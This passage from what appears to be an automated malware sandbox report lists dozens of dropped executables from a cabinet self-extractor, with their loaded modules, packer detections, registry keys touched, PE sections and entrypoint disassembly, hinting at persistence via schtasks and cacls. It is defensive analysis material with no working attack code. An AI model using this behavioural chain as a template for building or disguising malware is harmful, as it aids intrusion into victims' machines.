/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSRXerF0eFeSWRripTgTkcJWMm7iQQUaDfg67Y7%2BF8Rhvv%2BYXsIiGX0TkICEATi7HzdaAMTTamxkE%2Fh8DM%3D HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: ocsp.digicert.com" Response ==> HTTP/1.1 200 OK Accept-Ranges: bytes Age: 5093 Cache-Control: max-age=7200 Content-Type: application/ocsp-response Date: Tue 17 Oct 2023 17:40:47 GMT Last-Modified: Tue 17 Oct 2023 16:15:54 GMT Server: ECAcc (sac/2530) X-Cache: HIT Content-Length: 727 with response body ==>308202D30A0100A08202CC308202C806092B0601050507300101048202B9308202B530819EA21604146837E0EBB63BF85F1186FBFE617B088865F44E42180F32.......40:T54b,"6c4eeafcda86d5bd3f31bbb5d53dcbeb18542a14b599d2a5e222d8a1cdb5baae.exe" loaded module "%WINDIR%\System32\rpcrt4.dll" at 756D0000 "iu7rW97.exe" loaded module "%WINDIR%\System32\rpcrt4.dll" at 756D0000 "WW5pa33.exe" loaded module "%WINDIR%\System32\rpcrt4.dll" at 756D0000 "ob8Cl01.exe" loaded module "%WINDIR%\System32\rpcrt4.dll" at 756D0000 "BG0Vi31.exe" loaded module "%WINDIR%\System32\rpcrt4.dll" at 756D0000 "1AG03bS7.exe" loaded module "%WINDIR%\System32\rpcrt4.dll" at 756D0000 "AppLaunch.exe" loaded module "%WINDIR%\System32\rpcrt4.dll" at 756D0000 "2Pn4733.exe" loaded module "%WINDIR%\System32\rpcrt4.dll" at 756D0000 "3vp37IO.exe" loaded module "%WINDIR%\System32\rpcrt4.dll" at 756D0000 "4xv765hr.exe" loaded module "%WINDIR%\System32\rpcrt4.dll" at 756D0000 "5jk2WA4.exe" loaded module "%WINDIR%\System32\rpcrt4.dll" at 756D0000 "explothe.exe" loaded module "%WINDIR%\System32\rpcrt4.dll" at 756D0000 "schtasks.exe" loaded module "%WINDIR%\System32\rpcrt4.dll" at 756D0000 "cmd.exe" loaded module "%WINDIR%\System32\rpcrt4.dll" at 756D0000 "cacls.exe" loaded module "%WINDIR%\System32\rpcrt4.dll" at 756D0000 "6kb5JC6.exe" loaded module "%WINDIR%\System32\rpcrt4.dll" at 756D0000 "powershell.exe" loaded module "%WINDIR%\System32\rpcrt4.dll" at 756D0000 "rundll32.exe" loaded module "%WINDIR%\System32\rpcrt4.dll" at 756D000041:T244e,"6c4eeafcda86d5bd3f31bbb5d53dcbeb18542a14b599d2a5e222d8a1cdb5baae" was detected as "Microsoft Cabinet" and name: "sfx" "6c4eeafcda86d5bd3f31bbb5d53dcbeb18542a14b599d2a5e222d8a1cdb5baae" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "6c4eeafcda86d5bd3f31bbb5d53dcbeb18542a14b599d2a5e222d8a1cdb5baae" was detected as "Microsoft Visual C/C++" and name: "Compiler" "6c4eeafcda86d5bd3f31bbb5d53dcbeb18542a14b599d2a5e222d8a1cdb5baae" was detected as "Microsoft Cabinet File" and name: "Archive" "6c4eeafcda86d5bd3f31bbb5d53dcbeb18542a14b599d2a5e222d8a1cdb5baae" was detected as "Microsoft Linker" and name: "Linker" "angel_1_.exe" was detected as "Microsoft Cabinet" and name: "sfx" "angel_1_.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "angel_1_.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "angel_1_.exe" was detected as "Microsoft Cabinet File" and name: "Archive" "angel_1_.exe" was detected as "Microsoft Linker" and name: "Linker" "foto2552_1_.exe" was detected as "Microsoft Cabinet" and name: "sfx" "foto2552_1_.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "foto2552_1_.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "foto2552_1_.exe" was detected as "Microsoft Cabinet File" and name: "Archive" "foto2552_1_.exe" was detected as "Microsoft Linker" and name: "Linker" "iu7rW97.exe" was detected as "Microsoft Cabinet" and name: "sfx" "iu7rW97.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "iu7rW97.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "iu7rW97.exe" was detected as "Microsoft Cabinet File" and name: "Archive" "iu7rW97.exe" was detected as "Microsoft Linker" and name: "Linker" "gk7GM2iR.exe" was detected as "Microsoft Cabinet" and name: "sfx" "gk7GM2iR.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "gk7GM2iR.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "gk7GM2iR.exe" was detected as "Microsoft Cabinet File" and name: "Archive" "gk7GM2iR.exe" was detected as "Microsoft Linker" and name: "Linker" "WW5pa33.exe" was detected as "Microsoft Cabinet" and name: "sfx" "WW5pa33.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "WW5pa33.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "WW5pa33.exe" was detected as "Microsoft Cabinet File" and name: "Archive" "WW5pa33.exe" was detected as "Microsoft Linker" and name: "Linker" "tL3sv5VH.exe" was detected as "Microsoft Cabinet" and name: "sfx" "tL3sv5VH.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "tL3sv5VH.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "tL3sv5VH.exe" was detected as "Microsoft Cabinet File" and name: "Archive" "tL3sv5VH.exe" was detected as "Microsoft Linker" and name: "Linker" "ob8Cl01.exe" was detected as "Microsoft Cabinet" and name: "sfx" "ob8Cl01.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "ob8Cl01.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "ob8Cl01.exe" was detected as "Microsoft Cabinet File" and name: "Archive" "ob8Cl01.exe" was detected as "Microsoft Linker" and name: "Linker" "RK6Ko1mo.exe" was detected as "Microsoft Cabinet" and name: "sfx" "RK6Ko1mo.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "RK6Ko1mo.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "RK6Ko1mo.exe" was detected as "Microsoft Cabinet File" and name: "Archive" "RK6Ko1mo.exe" was detected as "Microsoft Linker" and name: "Linker" "nalo.exe" was detected as "Microsoft Cabinet" and name: "sfx" "nalo.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "nalo.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "nalo.exe" was detected as "Microsoft Cabinet File" and name: "Archive" "nalo.exe" was detected as "Microsoft Linker" and name: "Linker" "BG0Vi31.exe" was detected as "Microsoft Cabinet" and name: "sfx" "BG0Vi31.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "BG0Vi31.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "BG0Vi31.exe" was detected as "Microsoft Cabinet File" and name: "Archive" "BG0Vi31.exe" was detected as "Microsoft Linker" and name: "Linker" "AN3Bj1Ru.exe" was detected as "Microsoft Cabinet" and name: "sfx" "AN3Bj1Ru.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "AN3Bj1Ru.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "AN3Bj1Ru.exe" was detected as "Microsoft Cabinet File" and name: "Archive" "AN3Bj1Ru.exe" was detected as "Microsoft Linker" and name: "Linker" "sus.exe.bin" was detected as "Microsoft Cabinet" and name: "sfx" "sus.exe.bin" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "sus.exe.bin" was detected as "Microsoft Visual C/C++" and name: "Compiler" "sus.exe.bin" was detected as "Microsoft Cabinet File" and name: "Archive" "sus.exe.bin" was detected as "Microsoft Linker" and name: "Linker" "3vp37IO.exe" was detected as "Microsoft Cabinet" and name: "sfx" "3vp37IO.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "3vp37IO.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "3vp37IO.exe" was detected as "Microsoft Cabinet File" and name: "Archive" "3vp37IO.exe" was detected as "Microsoft Linker" and name: "Linker" "5Vl58Ec.exe" was detected as "Microsoft Cabinet" and name: "sfx" "5Vl58Ec.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "5Vl58Ec.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "5Vl58Ec.exe" was detected as "Microsoft Cabinet File" and name: "Archive" "5Vl58Ec.exe" was detected as "Microsoft Linker" and name: "Linker" "1AG03bS7.exe" was detected as "Microsoft Cabinet" and name: "sfx" "1AG03bS7.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "1AG03bS7.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "1AG03bS7.exe" was detected as "Microsoft Cabinet File" and name: "Archive" "1AG03bS7.exe" was detected as "Microsoft Linker" and name: "Linker" "2Jg195qq.exe" was detected as "Microsoft Cabinet" and name: "sfx" "2Jg195qq.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "2Jg195qq.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "2Jg195qq.exe" was detected as "Microsoft Cabinet File" and name: "Archive" "2Jg195qq.exe" was detected as "Microsoft Linker" and name: "Linker" "4xv765hr.exe" was detected as "Microsoft Cabinet" and name: "sfx" "4xv765hr.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "4xv765hr.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "4xv765hr.exe" was detected as "Microsoft Cabinet File" and name: "Archive" "4xv765hr.exe" was detected as "Microsoft Linker" and name: "Linker" "5jk2WA4.exe" was detected as "Microsoft Cabinet" and name: "sfx" "5jk2WA4.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "5jk2WA4.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "5jk2WA4.exe" was detected as "Microsoft Cabinet File" and name: "Archive" "5jk2WA4.exe" was detected as "Microsoft Linker" and name: "Linker" "3XP8tA46.exe" was detected as "Microsoft Cabinet" and name: "sfx" "3XP8tA46.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "3XP8tA46.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "3XP8tA46.exe" was detected as "Microsoft Cabinet File" and name: "Archive" "3XP8tA46.exe" was detected as "Microsoft Linker" and name: "Linker" "1Sf96TF3.exe" was detected as "Microsoft Cabinet" and name: "sfx" "1Sf96TF3.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "1Sf96TF3.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "1Sf96TF3.exe" was detected as "Microsoft Cabinet File" and name: "Archive" "1Sf96TF3.exe" was detected as "Microsoft Linker" and name: "Linker" "clip_1_.dll" was detected as "Microsoft Cabinet" and name: "sfx" "clip_1_.dll" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "clip_1_.dll" was detected as "Microsoft Visual C/C++" and name: "Compiler" "clip_1_.dll" was detected as "Microsoft Cabinet File" and name: "Archive" "clip_1_.dll" was detected as "Microsoft Linker" and name: "Linker" "6pM65Va.exe" was detected as "Microsoft Cabinet" and name: "sfx" "6pM65Va.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "6pM65Va.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "6pM65Va.exe" was detected as "Microsoft Cabinet File" and name: "Archive" "6pM65Va.exe" was detected as "Microsoft Linker" and name: "Linker" "6kb5JC6.exe" was detected as "Microsoft Cabinet" and name: "sfx" "6kb5JC6.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "6kb5JC6.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "6kb5JC6.exe" was detected as "Microsoft Cabinet File" and name: "Archive" "6kb5JC6.exe" was detected as "Microsoft Linker" and name: "Linker"42:T17fc,"2Pn4733.exe" touched "WinInetBroker Class" (Path: "HKCU\CLSID\{C39EE728-D419-4BD4-A3EF-EDA059DBD935}") "2Pn4733.exe" touched "PSFactoryBuffer" (Path: "HKCU\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}") "2Pn4733.exe" touched "Network List Manager" (Path: "HKCU\CLSID\{A47979D2-C419-11D9-A5B4-001185AD2B89}\LOCALSERVER32") "2Pn4733.exe" touched "NetworkListManager" (Path: "HKLM\SOFTWARE\CLASSES\CLSID\{DCB00C01-570F-4A9B-8D69-199FDBA5723B}") "4xv765hr.exe" touched "WBEM Locator" (Path: "HKCU\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}\INPROCSERVER32") "4xv765hr.exe" touched "Windows Management and Instrumentation" (Path: "HKCU\CLSID\{8BC3F05E-D86B-11D0-A075-00C04FB68820}") "4xv765hr.exe" touched "WbemDefaultPathParser" (Path: "HKCU\CLSID\{CF4CC405-E2C5-4DDD-B3CE-5E7582D8C9FA}\INPROCSERVER32") "4xv765hr.exe" touched "Microsoft WBEM (non)Standard Marshaling for IWbemServices" (Path: "HKCU\CLSID\{D68AF00A-29CB-43FA-8504-CE99A996D9EA}\TREATAS") "4xv765hr.exe" touched "Microsoft WBEM (non)Standard Marshaling for IEnumWbemClassObject" (Path: "HKCU\CLSID\{1B1CAD8C-2DAB-11D2-B604-00104B703EFD}\TREATAS") "5jk2WA4.exe" touched "Computer" (Path: "HKCU\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\SHELLFOLDER") "5jk2WA4.exe" touched "Memory Mapped Cache Mgr" (Path: "HKCU\CLSID\{1F486A52-3CB1-48FD-8F50-B8DC300D9F9D}") "5jk2WA4.exe" touched "Security Manager" (Path: "HKCU\CLSID\{7B8A2D94-0AC9-11D1-896C-00C04FB6BFC4}") "explothe.exe" touched "Network" (Path: "HKCU\CLSID\{208D2C60-3AEA-1069-A2D7-08002B30309D}\SHELLFOLDER") "explothe.exe" touched "Recycle Bin" (Path: "HKCU\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}\SHELLFOLDER") "explothe.exe" touched "Control Panel" (Path: "HKCU\CLSID\{26EE0668-A00A-44D7-9371-BEB064C98683}\SHELLFOLDER") "explothe.exe" touched "UsersFiles" (Path: "HKCU\CLSID\{59031A47-3F72-44A7-89C5-5595FE6B30EE}\SHELLFOLDER") "explothe.exe" touched "UsersLibraries" (Path: "HKCU\CLSID\{031E4825-7B94-4DC3-B131-E946B44C8DD5}\SHELLFOLDER") "explothe.exe" touched "CLSID_SearchFolder" (Path: "HKCU\CLSID\{04731B67-D933-450A-90E6-4ACD2E9408FE}\SHELLFOLDER") "explothe.exe" touched "Microsoft OneNote Namespace Extension for Windows Desktop Search" (Path: "HKCU\CLSID\{0875DCB6-C686-4243-9432-ADCCF0B9F2D7}\SHELLFOLDER") "explothe.exe" touched "IE History and Feeds Shell Data Source for Windows Search" (Path: "HKCU\CLSID\{11016101-E366-4D22-BC06-4ADA335C892B}\SHELLFOLDER") "explothe.exe" touched "@C:\Program Files (x86)\Microsoft Office\Office15\MAPISHELL.DLL,-110" (Path: "HKCU\CLSID\{138508BC-1E03-49EA-9C8F-EA9E1D05D65D}\SHELLFOLDER") "explothe.exe" touched "Public Folder" (Path: "HKCU\CLSID\{4336A54D-038B-4685-AB02-99BB52D3FB8B}\SHELLFOLDER") "explothe.exe" touched "Control Panel command object for Start menu and desktop" (Path: "HKCU\CLSID\{5399E694-6CE5-4D6C-8FCE-1D8870FDCBA0}\SHELLFOLDER") "explothe.exe" touched "@%systemroot%\system32\mssvp.dll,-110" (Path: "HKCU\CLSID\{89D83576-6BD1-4C86-9454-BEB04E94C819}\SHELLFOLDER") "explothe.exe" touched "DXP" (Path: "HKCU\CLSID\{8FD8B88D-30E1-4F25-AC2B-553D3D65F0EA}\SHELLFOLDER") "explothe.exe" touched "CLSID_SearchHome" (Path: "HKCU\CLSID\{9343812E-1C37-4A49-A12E-4B2D810D956B}\SHELLFOLDER") "explothe.exe" touched "Windows Search Service Media Center Namespace Extension Handler" (Path: "HKCU\CLSID\{98D99750-0B8A-4C59-9151-589053683D73}\SHELLFOLDER") "explothe.exe" touched "Other Users Folder" (Path: "HKCU\CLSID\{B4FB3F98-C1EA-428D-A78A-D1F5659CBA93}\SHELLFOLDER") "explothe.exe" touched "@%systemroot%\system32\mssvp.dll,-112" (Path: "HKCU\CLSID\{BD7A2E7B-21CB-41B2-A086-B309680C6B7E}\SHELLFOLDER") "explothe.exe" touched "CLSID_StartMenuProviderFolder" (Path: "HKCU\CLSID\{DAF95313-E44D-46AF-BE1B-CBACEA2C3065}\SHELLFOLDER") "explothe.exe" touched "CLSID_StartMenuPathCompleteProviderFolder" (Path: "HKCU\CLSID\{E345F35F-9397-435C-8F95-4E922C26259E}\SHELLFOLDER") "explothe.exe" touched "Games Explorer" (Path: "HKCU\CLSID\{ED228FDF-9EA8-4870-83B1-96B02CFE0D52}\SHELLFOLDER") "explothe.exe" touched "Computers and Devices" (Path: "HKCU\CLSID\{F02C1A0D-BE21-4350-88B0-7367FC96EF3C}\SHELLFOLDER") "explothe.exe" touched "Sticky Notes Namespace Extension for Windows Desktop Search" (Path: "HKCU\CLSID\{F3F5824C-AD58-4728-AF59-A1EBE3392799}\SHELLFOLDER") "schtasks.exe" touched "TaskScheduler class" (Path: "HKCU\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}") "powershell.exe" touched "Custom Destination List" (Path: "HKCU\CLSID\{77F10CF0-3DB5-4966-B520-B7C54FD35ED6}") "powershell.exe" touched "Start Menu Cache" (Path: "HKCU\CLSID\{660B90C8-73A9-4B58-8CAE-355B7F55341B}") "powershell.exe" touched "Start Menu Pin" (Path: "HKLM\SOFTWARE\CLASSES\CLSID\{A2A9545D-A0C2-42B4-9708-A0B2BADD77C8}") "powershell.exe" touched "Taskband Pin" (Path: "HKCU\CLSID\{90AA3A4E-1CBA-4233-B8BB-535773D48449}\TREATAS") "powershell.exe" touched "Shortcut" (Path: "HKCU\CLSID\{00021401-0000-0000-C000-000000000046}\IMPLEMENTED CATEGORIES\{00021490-0000-0000-C000-000000000046}") "powershell.exe" touched "Internet Shortcut" (Path: "HKCU\CLSID\{FBF23B40-E3F0-101B-8488-00AA003E56F8}\IMPLEMENTED CATEGORIES\{00021490-0000-0000-C000-000000000046}") "powershell.exe" touched "User Pinned" (Path: "HKCU\CLSID\{1F3427C8-5C10-4210-AA03-2EE45287D668}\SHELLFOLDER") "powershell.exe" touched "Shell File System Folder" (Path: "HKCU\CLSID\{F3364BA0-65B9-11CE-A9BA-00AA004AE837}\INPROCSERVER32") "powershell.exe" touched "User Assist" (Path: "HKCU\CLSID\{DD313E04-FEFF-11D1-8ECD-0000F87A470C}\TREATAS") "powershell.exe" touched "Shared Task Scheduler" (Path: "HKCU\CLSID\{603D3801-BD81-11D0-A3A5-00C04FD706EC}\TREATAS") "powershell.exe" touched "Property System Both Class Factory" (Path: "HKCU\CLSID\{76765B11-3F95-4AF2-AC9D-EA55D8994F1A}\TREATAS") "powershell.exe" touched "A collection of IUnknown objects that can be enumerated" (Path: "HKCU\CLSID\{2D3468C1-36A7-43B6-AC24-D3F02FD9607A}\TREATAS") "powershell.exe" touched "NDP SymBinder" (Path: "HKCU\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\INPROCSERVER32") "cmd.exe" touched "Application Registration" (Path: "HKCU\CLSID\{591209C7-767B-42B2-9FBA-44EE4615F2C7}\TREATAS")43:T5b4,"6c4eeafcda86d5bd3f31bbb5d53dcbeb18542a14b599d2a5e222d8a1cdb5baae" has Debug data directory "IMAGE_DIRECTORY_ENTRY_DEBUG" "angel_1_.exe" has Debug data directory "IMAGE_DIRECTORY_ENTRY_DEBUG" "foto2552_1_.exe" has Debug data directory "IMAGE_DIRECTORY_ENTRY_DEBUG" "iu7rW97.exe" has Debug data directory "IMAGE_DIRECTORY_ENTRY_DEBUG" "gk7GM2iR.exe" has Debug data directory "IMAGE_DIRECTORY_ENTRY_DEBUG" "WW5pa33.exe" has Debug data directory "IMAGE_DIRECTORY_ENTRY_DEBUG" "tL3sv5VH.exe" has Debug data directory "IMAGE_DIRECTORY_ENTRY_DEBUG" "ob8Cl01.exe" has Debug data directory "IMAGE_DIRECTORY_ENTRY_DEBUG" "RK6Ko1mo.exe" has Debug data directory "IMAGE_DIRECTORY_ENTRY_DEBUG" "nalo.exe" has Debug data directory "IMAGE_DIRECTORY_ENTRY_DEBUG" "BG0Vi31.exe" has Debug data directory "IMAGE_DIRECTORY_ENTRY_DEBUG" "AN3Bj1Ru.exe" has Debug data directory "IMAGE_DIRECTORY_ENTRY_DEBUG" "sus.exe.bin" has Debug data directory "IMAGE_DIRECTORY_ENTRY_DEBUG" "3vp37IO.exe" has Debug data directory "IMAGE_DIRECTORY_ENTRY_DEBUG" "5Vl58Ec.exe" has Debug data directory "IMAGE_DIRECTORY_ENTRY_DEBUG" "1AG03bS7.exe" has Debug data directory "IMAGE_DIRECTORY_ENTRY_DEBUG" "5jk2WA4.exe" has Debug data directory "IMAGE_DIRECTORY_ENTRY_DEBUG" "3XP8tA46.exe" has Debug data directory "IMAGE_DIRECTORY_ENTRY_DEBUG" "1Sf96TF3.exe" has Debug data directory "IMAGE_DIRECTORY_ENTRY_DEBUG" "clip_1_.dll" has Debug data directory "IMAGE_DIRECTORY_ENTRY_DEBUG"44:T5a0,"6c4eeafcda86d5bd3f31bbb5d53dcbeb18542a14b599d2a5e222d8a1cdb5baae" has an executable section named ".text" "angel_1_.exe" has an executable section named ".text" "angel_1_.exe" has an executable section named "RT_DATA" "foto2552_1_.exe" has an executable section named ".text" "iu7rW97.exe" has an executable section named ".text" "gk7GM2iR.exe" has an executable section named ".text" "WW5pa33.exe" has an executable section named ".text" "tL3sv5VH.exe" has an executable section named ".text" "ob8Cl01.exe" has an executable section named ".text" "RK6Ko1mo.exe" has an executable section named ".text" "nalo.exe" has an executable section named ".text" "BG0Vi31.exe" has an executable section named ".text" "AN3Bj1Ru.exe" has an executable section named ".text" "sus.exe.bin" has an executable section named ".text" "3vp37IO.exe" has an executable section named ".text" "5Vl58Ec.exe" has an executable section named ".text" "1AG03bS7.exe" has an executable section named ".text" "2Jg195qq.exe" has an executable section named ".text" "4xv765hr.exe" has an executable section named ".text" "5jk2WA4.exe" has an executable section named ".text" "3XP8tA46.exe" has an executable section named ".text" "1Sf96TF3.exe" has an executable section named ".text" "clip_1_.dll" has an executable section named ".text" "6pM65Va.exe" has an executable section named ".code" "6pM65Va.exe" has an executable section named ".text"45:T567,"6c4eeafcda86d5bd3f31bbb5d53dcbeb18542a14b599d2a5e222d8a1cdb5baae" has an writable section named ".data" "angel_1_.exe" has an writable section named ".text" "angel_1_.exe" has an writable section named ".data" "angel_1_.exe" has an writable section named ".idata" "angel_1_.exe" has an writable section named "RT_DATA" "angel_1_.exe" has an writable section named ".tls" "foto2552_1_.exe" has an writable section named ".data" "iu7rW97.exe" has an writable section named ".data" "gk7GM2iR.exe" has an writable section named ".data" "WW5pa33.exe" has an writable section named ".data" "tL3sv5VH.exe" has an writable section named ".data" "ob8Cl01.exe" has an writable section named ".data" "RK6Ko1mo.exe" has an writable section named ".data" "nalo.exe" has an writable section named ".data" "nalo.exe" has an writable section named ".bsS" "BG0Vi31.exe" has an writable section named ".data" "AN3Bj1Ru.exe" has an writable section named ".data" "sus.exe.bin" has an writable section named ".data" "sus.exe.bin" has an writable section named ".bsS" "3vp37IO.exe" has an writable section named ".data" "3vp37IO.exe" has an writable section named ".bsS" "5Vl58Ec.exe" has an writable section named ".data" "1AG03bS7.exe" has an writable section named ".data" "1AG03bS7.exe" has an writable section named ".bsS" "5jk2WA4.exe" has an writable section named ".data"46:T38ee,"6c4eeafcda86d5bd3f31bbb5d53dcbeb18542a14b599d2a5e222d8a1cdb5baae" file has an entrypoint instructions - "call 0x407155,jmp 0x406a6a,push 0x58,push 0x4072b8,call 0x407208,xor ebx, ebx,mov dword ptr [ebp - 0x20], ebx,lea eax, [ebp - 0x68],push eax,call dword ptr [0x40a184],mov dword ptr [ebp - 4], ebx,mov eax, dword ptr fs:[0x18],mov esi, dword ptr [eax + 4],mov edi, ebx,mov edx, 0x4088ac,mov ecx, esi,xor eax, eax,lock cmpxchg dword ptr [edx], ecx,test eax, eax,je 0x406abc,cmp eax, esi,jne 0x406aaf,xor esi, esi,inc esi,mov edi, esi,jmp 0x406abf,push 0x3e8,call dword ptr [0x40a188],jmp 0x406a93,xor esi, esi,inc esi," "angel_1_.exe" file has an entrypoint instructions - "call 0x404e3f,jmp 0x401fbf,mov edi, edi,push ebp,mov ebp, esp,pop ebp,jmp 0x404ee0,mov edi, edi,push ebp,mov ebp, esp,mov eax, dword ptr [ebp + 8],push esi,mov esi, ecx,mov byte ptr [esi + 0xc], 0,test eax, eax,jne 0x4021b7,call 0x4048a9,mov dword ptr [esi + 8], eax,mov ecx, dword ptr [eax + 0x6c],mov dword ptr [esi], ecx,mov ecx, dword ptr [eax + 0x68],mov dword ptr [esi + 4], ecx,mov ecx, dword ptr [esi],cmp ecx, dword ptr [0x4298b8],je 0x402183,mov ecx, dword ptr [0x429670],test dword ptr [eax + 0x70], ecx,jne 0x402183,call 0x4058ef,mov dword ptr [esi], eax,mov eax, dword ptr [esi + 4],cmp eax, dword ptr [0x429578],je 0x4021a4," "foto2552_1_.exe" file has an entrypoint instructions - "call 0x407155,jmp 0x406a6a,push 0x58,push 0x4072b8,call 0x407208,xor ebx, ebx,mov dword ptr [ebp - 0x20], ebx,lea eax, [ebp - 0x68],push eax,call dword ptr [0x40a184],mov dword ptr [ebp - 4], ebx,mov eax, dword ptr fs:[0x18],mov esi, dword ptr [eax + 4],mov edi, ebx,mov edx, 0x4088ac,mov ecx, esi,xor eax, eax,lock cmpxchg dword ptr [edx], ecx,test eax, eax,je 0x406abc,cmp eax, esi,jne 0x406aaf,xor esi, esi,inc esi,mov edi, esi,jmp 0x406abf,push 0x3e8,call dword ptr [0x40a188],jmp 0x406a93,xor esi, esi,inc esi," "iu7rW97.exe" file has an entrypoint instructions - "call 0x407155,jmp 0x406a6a,push 0x58,push 0x4072b8,call 0x407208,xor ebx, ebx,mov dword ptr [ebp - 0x20], ebx,lea eax, [ebp - 0x68],push eax,call dword ptr [0x40a184],mov dword ptr [ebp - 4], ebx,mov eax, dword ptr fs:[0x18],mov esi, dword ptr [eax + 4],mov edi, ebx,mov edx, 0x4088ac,mov ecx, esi,xor eax, eax,lock cmpxchg dword ptr [edx], ecx,test eax, eax,je 0x406abc,cmp eax, esi,jne 0x406aaf,xor esi, esi,inc esi,mov edi, esi,jmp 0x406abf,push 0x3e8,call dword ptr [0x40a188],jmp 0x406a93,xor esi, esi,inc esi," "gk7GM2iR.exe" file has an entrypoint instructions - "call 0x407155,jmp 0x406a6a,push 0x58,push 0x4072b8,call 0x407208,xor ebx, ebx,mov dword ptr [ebp - 0x20], ebx,lea eax, [ebp - 0x68],push eax,call dword ptr [0x40a184],mov dword ptr [ebp - 4], ebx,mov eax, dword ptr fs:[0x18],mov esi, dword ptr [eax + 4],mov edi, ebx,mov edx, 0x4088ac,mov ecx, esi,xor eax, eax,lock cmpxchg dword ptr [edx], ecx,test eax, eax,je 0x406abc,cmp eax, esi,jne 0x406aaf,xor esi, esi,inc esi,mov edi, esi,jmp 0x406abf,push 0x3e8,call dword ptr [0x40a188],jmp 0x406a93,xor esi, esi,inc esi," "WW5pa33.exe" file has an entrypoint instructions - "call 0x407155,jmp 0x406a6a,push 0x58,push 0x4072b8,call 0x407208,xor ebx, ebx,mov dword ptr [ebp - 0x20], ebx,lea eax, [ebp - 0x68],push eax,call dword ptr [0x40a184],mov dword ptr [ebp - 4], ebx,mov eax, dword ptr fs:[0x18],mov esi, dword ptr [eax + 4],mov edi, ebx,mov edx, 0x4088ac,mov ecx, esi,xor eax, eax,lock cmpxchg dword ptr [edx], ecx,test eax, eax,je 0x406abc,cmp eax, esi,jne 0x406aaf,xor esi, esi,inc esi,mov edi, esi,jmp 0x406abf,push 0x3e8,call dword ptr [0x40a188],jmp 0x406a93,xor esi, esi,inc esi," "tL3sv5VH.exe" file has an entrypoint instructions - "call 0x407155,jmp 0x406a6a,push 0x58,push 0x4072b8,call 0x407208,xor ebx, ebx,mov dword ptr [ebp - 0x20], ebx,lea eax, [ebp - 0x68],push eax,call dword ptr [0x40a184],mov dword ptr [ebp - 4], ebx,mov eax, dword ptr fs:[0x18],mov esi, dword ptr [eax + 4],mov edi, ebx,mov edx, 0x4088ac,mov ecx, esi,xor eax, eax,lock cmpxchg dword ptr [edx], ecx,test eax, eax,je 0x406abc,cmp eax, esi,jne 0x406aaf,xor esi, esi,inc esi,mov edi, esi,jmp 0x406abf,push 0x3e8,call dword ptr [0x40a188],jmp 0x406a93,xor esi, esi,inc esi," "ob8Cl01.exe" file has an entrypoint instructions - "call 0x407155,jmp 0x406a6a,push 0x58,push 0x4072b8,call 0x407208,xor ebx, ebx,mov dword ptr [ebp - 0x20], ebx,lea eax, [ebp - 0x68],push eax,call dword ptr [0x40a184],mov dword ptr [ebp - 4], ebx,mov eax, dword ptr fs:[0x18],mov esi, dword ptr [eax + 4],mov edi, ebx,mov edx, 0x4088ac,mov ecx, esi,xor eax, eax,lock cmpxchg dword ptr [edx], ecx,test eax, eax,je 0x406abc,cmp eax, esi,jne 0x406aaf,xor esi, esi,inc esi,mov edi, esi,jmp 0x406abf,push 0x3e8,call dword ptr [0x40a188],jmp 0x406a93,xor esi, esi,inc esi," "RK6Ko1mo.exe" file has an entrypoint instructions - "call 0x407155,jmp 0x406a6a,push 0x58,push 0x4072b8,call 0x407208,xor ebx, ebx,mov dword ptr [ebp - 0x20], ebx,lea eax, [ebp - 0x68],push eax,call dword ptr [0x40a184],mov dword ptr [ebp - 4], ebx,mov eax, dword ptr fs:[0x18],mov esi, dword ptr [eax + 4],mov edi, ebx,mov 